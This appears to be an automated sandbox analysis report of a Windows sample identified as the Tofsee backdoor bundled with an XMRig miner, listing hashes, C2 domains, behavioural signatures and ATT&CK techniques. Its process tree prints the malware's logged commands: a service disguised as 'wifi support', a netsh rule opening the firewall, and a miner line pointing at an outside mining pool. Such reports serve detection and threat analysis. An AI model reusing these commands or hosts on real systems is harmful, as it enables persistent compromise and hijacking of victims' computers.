Analysis

  • max time kernel
    191s
  • max time network
    197s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-11-2022 08:13

General

  • Target

    fcbee5f1e9c90cdcbdf6efd7c76bcbecf7c33e5cf7cb38aaac6a79af28497e7f.exe

  • Size

    146KB

  • MD5

    5fbc17d2cb50106297f861377728868a

  • SHA1

    938019318cca1bd9ad78646e4a6a34058cb31a7a

  • SHA256

    fcbee5f1e9c90cdcbdf6efd7c76bcbecf7c33e5cf7cb38aaac6a79af28497e7f

  • SHA512

    72aa4deb6c8158dd01012abe734ecf602f9c63971c0ca8701409022a9fb5f5098f99c290ecad25c4ca4116f939cc4908f3aeb88ddb66b76f66abc20bcc728318

  • SSDEEP

    3072:R9Vs9i/ALv95tNQBEnllKx7DhaLKLQylktUQA:zVipLHQBEnl6DhsKPy

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fcbee5f1e9c90cdcbdf6efd7c76bcbecf7c33e5cf7cb38aaac6a79af28497e7f.exe
    "C:\Users\Admin\AppData\Local\Temp\fcbee5f1e9c90cdcbdf6efd7c76bcbecf7c33e5cf7cb38aaac6a79af28497e7f.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1248
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kxowmkx\
      2⤵
        PID:3388
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pvidwdql.exe" C:\Windows\SysWOW64\kxowmkx\
        2⤵
          PID:1732
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kxowmkx binPath= "C:\Windows\SysWOW64\kxowmkx\pvidwdql.exe /d\"C:\Users\Admin\AppData\Local\Temp\fcbee5f1e9c90cdcbdf6efd7c76bcbecf7c33e5cf7cb38aaac6a79af28497e7f.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:224
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kxowmkx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3104
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kxowmkx
          2⤵
          • Launches sc.exe
          PID:592
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4504
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1248 -s 1040
          2⤵
          • Program crash
          PID:1156
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1248 -ip 1248
        1⤵
          PID:3008
        • C:\Windows\SysWOW64\kxowmkx\pvidwdql.exe
          C:\Windows\SysWOW64\kxowmkx\pvidwdql.exe /d"C:\Users\Admin\AppData\Local\Temp\fcbee5f1e9c90cdcbdf6efd7c76bcbecf7c33e5cf7cb38aaac6a79af28497e7f.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2632
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:984
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3560
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2632 -s 516
            2⤵
            • Program crash
            PID:5072
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 2632 -ip 2632
          1⤵
            PID:60

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\pvidwdql.exe
            Filesize

            12.0MB

            MD5

            6808a4e4e9bce9ed0a7de97e911b79d8

            SHA1

            8cbaed5ef61cad34f03a49449fdf98f7d83fc191

            SHA256

            c204a319081e9f446999aec9839863df661c30263985c011680a33ef418bae53

            SHA512

            f3636a7c51bd41304868abd020f7d09509532904f055c79368444f3001e0f996cf31ac89590059ca34c59d89eb4787be50dbcbf3910e5fa17248a3db72d27ba1

          • C:\Windows\SysWOW64\kxowmkx\pvidwdql.exe
            Filesize

            12.0MB

            MD5

            6808a4e4e9bce9ed0a7de97e911b79d8

            SHA1

            8cbaed5ef61cad34f03a49449fdf98f7d83fc191

            SHA256

            c204a319081e9f446999aec9839863df661c30263985c011680a33ef418bae53

            SHA512

            f3636a7c51bd41304868abd020f7d09509532904f055c79368444f3001e0f996cf31ac89590059ca34c59d89eb4787be50dbcbf3910e5fa17248a3db72d27ba1

          • memory/224-138-0x0000000000000000-mapping.dmp
          • memory/592-140-0x0000000000000000-mapping.dmp
          • memory/984-159-0x00000000027A0000-0x00000000027B0000-memory.dmp
            Filesize

            64KB

          • memory/984-146-0x0000000000680000-0x0000000000695000-memory.dmp
            Filesize

            84KB

          • memory/984-168-0x00000000079D0000-0x00000000079D7000-memory.dmp
            Filesize

            28KB

          • memory/984-165-0x0000000007480000-0x000000000788B000-memory.dmp
            Filesize

            4.0MB

          • memory/984-162-0x00000000029F0000-0x00000000029F5000-memory.dmp
            Filesize

            20KB

          • memory/984-156-0x0000000002790000-0x0000000002796000-memory.dmp
            Filesize

            24KB

          • memory/984-153-0x0000000002440000-0x000000000264F000-memory.dmp
            Filesize

            2.1MB

          • memory/984-152-0x0000000000680000-0x0000000000695000-memory.dmp
            Filesize

            84KB

          • memory/984-151-0x0000000000680000-0x0000000000695000-memory.dmp
            Filesize

            84KB

          • memory/984-145-0x0000000000000000-mapping.dmp
          • memory/1248-142-0x000000000054E000-0x000000000055F000-memory.dmp
            Filesize

            68KB

          • memory/1248-132-0x000000000054E000-0x000000000055F000-memory.dmp
            Filesize

            68KB

          • memory/1248-134-0x0000000000400000-0x000000000045A000-memory.dmp
            Filesize

            360KB

          • memory/1248-133-0x0000000002050000-0x0000000002063000-memory.dmp
            Filesize

            76KB

          • memory/1248-143-0x0000000000400000-0x000000000045A000-memory.dmp
            Filesize

            360KB

          • memory/1732-136-0x0000000000000000-mapping.dmp
          • memory/2632-149-0x0000000000509000-0x0000000000519000-memory.dmp
            Filesize

            64KB

          • memory/2632-150-0x0000000000400000-0x000000000045A000-memory.dmp
            Filesize

            360KB

          • memory/3104-139-0x0000000000000000-mapping.dmp
          • memory/3388-135-0x0000000000000000-mapping.dmp
          • memory/3560-172-0x0000000000CC0000-0x0000000000DB1000-memory.dmp
            Filesize

            964KB

          • memory/3560-171-0x0000000000000000-mapping.dmp
          • memory/3560-177-0x0000000000CC0000-0x0000000000DB1000-memory.dmp
            Filesize

            964KB

          • memory/4504-141-0x0000000000000000-mapping.dmp